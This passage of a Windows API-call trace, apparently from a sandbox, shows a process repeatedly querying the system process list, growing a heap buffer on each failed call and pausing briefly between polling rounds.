NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0140.037] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0140.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0140.038] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0140.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0140.038] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0140.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.038] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0140.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.038] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0140.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.038] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0140.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.038] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0140.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.038] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0140.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.039] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0140.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.040] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0140.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.041] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0140.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.041] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0140.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0140.041] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0140.041] Sleep (dwMilliseconds=0x64) [0140.423] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0140.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0140.423] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0140.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0140.423] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0140.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0140.423] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0140.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.423] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0140.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.423] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0140.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0140.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0140.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0140.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0140.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0140.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0140.425] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.425] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0140.425] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0140.425] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0140.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0140.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0140.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0140.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0140.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0140.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0140.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0140.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0140.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0140.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0140.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0140.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0140.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0140.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0140.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0140.806] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0140.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0140.806] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0141.196] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0141.196] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0141.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0141.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0141.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0141.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0141.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0141.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0141.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0141.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0141.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0141.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0141.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.200] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0141.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.200] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0141.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.200] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0141.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.200] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0141.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.201] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0141.202] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0141.202] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0141.202] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8938) returned 1 [0141.202] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6d90a8 [0141.202] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d90a8) returned 1 [0141.202] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e68f0 [0141.202] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.202] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e68f0 [0141.202] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d90a8 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d90a8) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.203] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d90a8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d90a8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0141.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x2560048) returned 1 [0141.204] Sleep (dwMilliseconds=0x64) [0141.694] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0141.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0141.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0141.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0141.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0141.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0141.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0141.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0141.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0141.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0141.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0141.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0141.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0141.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0141.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0141.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0141.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0141.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0141.697] RtlReAllocateHeap 